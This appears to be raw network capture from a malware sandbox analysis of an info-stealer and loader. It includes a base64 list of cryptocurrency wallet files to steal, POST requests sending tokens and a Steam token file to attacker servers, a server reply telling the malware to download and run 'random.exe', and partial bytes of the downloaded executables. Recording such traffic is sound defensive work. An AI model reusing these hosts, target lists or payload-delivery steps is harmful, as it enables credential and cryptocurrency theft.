Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 24, 2024 02:13:33.772782087 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDH Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="message"files------JJJEBGDAFHJEBGDGIJDH--
Nov 24, 2024 02:13:34.220437050 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:13:34.296014071 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGIJEGDBFHDGCAFCAE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 49 4a 45 47 44 42 46 48 44 47 43 41 46 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJEGIJEGDBFHDGCAFCAEContent-Disposition: form-data; name="file"------JJEGIJEGDBFHDGCAFCAE--
Nov 24, 2024 02:13:35.299468994 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 02:13:35.328464031 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDHIIJKEBGHJJKFIDA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 48 49 49 4a 4b 45 42 47 48 4a 4a 4b 46 49 44 41 2d 2d 0d 0a Data Ascii: ------CGIDHIIJKEBGHJJKFIDAContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------CGIDHIIJKEBGHJJKFIDAContent-Disposition: form-data; name="message"ybncbhylepme------CGIDHIIJKEBGHJJKFIDA--
Nov 24, 2024 02:13:35.776740074 CET	271	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 24, 2024 02:13:40.731988907 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBKKKFHCFIDHIECGCAF--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49756	185.215.113.16	80	6924	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:13:35.900855064 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 24, 2024 02:13:37.231731892 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:13:37 GMT Content-Type: application/octet-stream Content-Length: 1884672 Last-Modified: Sun, 24 Nov 2024 00:58:19 GMT Connection: keep-alive ETag: "67427a2b-1cc200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 10 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@@K@WkDJLJ @.rsrcD@.idata @ *@iaxkupqhP1@fnhucfqpK@.taggant0K"@
Nov 24, 2024 02:13:37.231786966 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:13:37.232048988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:13:37.232111931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:13:37.232121944 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:13:37.232553959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 02:13:37.232604027 CET	1236	IN	Data Raw: 15 30 a5 d6 14 26 10 b4 9e 83 40 cd 12 1f 6b f9 57 63 7f b1 05 9c a4 d5 c2 ad 85 86 d0 77 61 70 02 13 0f f4 2b a7 9e 81 04 6f 41 f7 97 cf 60 f1 46 9d 11 81 6c 7f 4c b9 f7 d3 ad 5f 94 63 07 34 78 83 4f 9d 2c e3 42 8b d7 cf 40 31 14 1c fa 27 dc 53 Data Ascii: 0&@kWcwap+oA`FlL_c4xO,B@1'Sp ZNwA@qDc-SQAoRPbpwpb5'lOENlKS0BM4@T!,WlRM'0bPq,y$mYt!q~
Nov 24, 2024 02:13:37.232614040 CET	248	IN	Data Raw: f3 c7 2f 35 5b 0b 4c c5 6e 3b 36 06 6a 50 54 01 6f 49 7a 55 21 33 7b 91 ce 00 d4 19 73 79 12 3b 8c 96 3a e1 be 4a c3 f4 69 a1 02 64 88 5b 2e 04 20 22 60 b1 a8 32 a3 52 10 89 02 91 fe e4 a9 48 e4 5b 05 44 64 6d 25 a2 55 ba 77 fe c6 73 8b 52 e5 2e Data Ascii: /5[Ln;6jPToIzU!3{sy;:Jid[. "`2RH[Ddm%UwsR.&eWMOuA&cBNC1>eiIMT'"-SA"euw+8VbSl9hIf],Ig%~O0+pW{Y9S
Nov 24, 2024 02:13:37.233557940 CET	1236	IN	Data Raw: e3 5c a5 f7 31 8b c8 34 e2 4d 7d 7d 88 ce 06 0d 21 c7 96 e5 1b cc cd c0 a3 d3 c5 31 17 ac ff 45 b1 5e d8 db 33 53 0c e8 a6 4b 4c 52 2d 5b 36 10 c4 78 3c 8b c4 4f 07 f2 1e 72 46 de e2 68 bd 0d 1c 8d 11 6e 08 c3 52 28 9c c9 42 84 8a 13 de 3c 15 17 Data Ascii: \14M}}!1E^3SKLR-[6x<OrFhnR(B<x?~zc6;KUNKI@FXax6I?dd<c}4i@TejeP\X_wIP\oDg`Tn!(NLo;#P
Nov 24, 2024 02:13:37.233653069 CET	1236	IN	Data Raw: c6 40 95 9b fa e3 30 01 d9 d1 d5 11 c1 82 ff b7 74 ff b0 f4 68 5f 43 5d 9f ad fd bd 22 f1 e5 f5 76 23 44 89 a5 4b 50 ab df 7d 42 ca 45 46 71 51 80 be 4d f3 af 42 d4 5f 34 40 29 d9 bf ab f1 0c 2d 79 0e 02 bc 8f af 51 17 2b 98 68 95 d9 ea e3 7d 3a Data Ascii: @0th_C]"v#DKP}BEFqQMB_4@)-yQ+h}:#qB$&tK=z-7@@lS<.Vo28@$<`%1VL,}L#Yx>D&Mo U0hnu`t"(v``^DAGe*\BE
Nov 24, 2024 02:13:37.351412058 CET	1236	IN	Data Raw: 52 bf 7d 26 45 4d 59 c2 1f 62 88 87 9d 13 a3 52 36 89 3e e3 d6 d4 53 07 d5 9d 26 52 cc 02 c5 d8 95 43 7f 98 20 64 fc 79 ec 25 00 10 4c a5 42 d3 31 ce 63 88 65 ed 32 87 59 94 07 ff c7 e6 de 49 28 4c cb 5e d7 4f 5b a0 4a 0c b9 c2 2f 2b 48 f4 fe 35 Data Ascii: R}&EMYbR6>S&RC dy%LB1ce2YI(L^O[J/+H539PsZMM~8vNprva+q%%B]Z'm){t+\n_Rfso=Vs+Z% y}ZzGJFm]rZb2vUl^~J#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49757	185.215.113.206	80	6924	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:13:40.898108006 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBKKKFHCFIDHIECGCAF--
Nov 24, 2024 02:13:42.746965885 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 01:13:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49758	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:13:50.167926073 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 02:13:51.556754112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49759	185.215.113.43	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:13:53.183506012 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 24, 2024 02:13:54.544075012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:13:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 30 37 0d 0a 20 3c 63 3e 31 30 30 38 35 36 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 38 35 36 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 63 65 64 30 62 35 61 34 65 35 61 33 64 63 33 30 39 61 35 35 34 31 62 32 31 63 65 32 34 35 34 38 34 39 34 36 64 37 38 39 62 35 34 61 65 36 66 63 38 31 30 38 37 39 62 30 32 64 36 66 63 33 32 61 64 37 65 34 36 36 63 37 37 64 61 62 33 37 61 66 35 64 62 34 34 64 35 33 33 31 62 32 23 31 30 30 38 35 36 39 30 34 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 63 65 64 30 62 35 61 34 65 35 61 33 64 63 33 30 39 61 35 35 34 31 62 32 31 63 65 32 34 35 34 38 34 39 34 36 64 37 38 39 62 35 34 61 [TRUNCATED] Data Ascii: 607 <c>1008563001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1008564001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ced0b5a4e5a3dc309a5541b21ce245484946d789b54ae6fc810879b02d6fc32ad7e466c77dab37af5db44d5331b2#1008569041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ced0b5a4e5a3dc309a5541b21ce245484946d789b54ae6fc810879b02d6fe7069c8b218c7fae63#1008570041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ced0b5a4e5a3dc309a5541b21ce245484946d789b54ae6fc810879b02d6fe7069c8b218c7fae63#1008571041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ced0b5a4e5a3dc309a5541b21ce245484946d789b54ae6fc810879b02d6fe1339fe763e45bf322ae31#1008572041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ced0b5a4e5a3dc309a5541b21ce245484946d789b54ae6fc810879b02d6ff61db18864f860f322ae31#1008573041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ced0b5a4e5a3dc309a5541b21ce245484946d789b54ae6fc810879b02d6fb626baf372957df322ae31#1008574041+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ced0b5a4e5a3dc309a5541b21ce245484946d789b54ae6 [TRUNCATED]
Nov 24, 2024 02:13:54.544090033 CET	124	IN	Data Raw: 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 Data Ascii: 01+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1008576001+++fc8f7c1ed3c0f9c30b4baed74c613
Nov 24, 2024 02:13:54.776338100 CET	374	IN	Data Raw: 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 38 35 37 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 Data Ascii: 95d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1008577001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1008578001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1008579041+++b5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49760	31.41.244.11	80	2212	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 02:13:54.899945021 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 24, 2024 02:13:56.235970974 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 01:13:56 GMT Content-Type: application/octet-stream Content-Length: 4380672 Last-Modified: Sun, 24 Nov 2024 00:28:21 GMT Connection: keep-alive ETag: "67427325-42d800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 f0 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 c4 00 00 04 00 00 3e 9f 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c d2 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c d2 c3 00 18 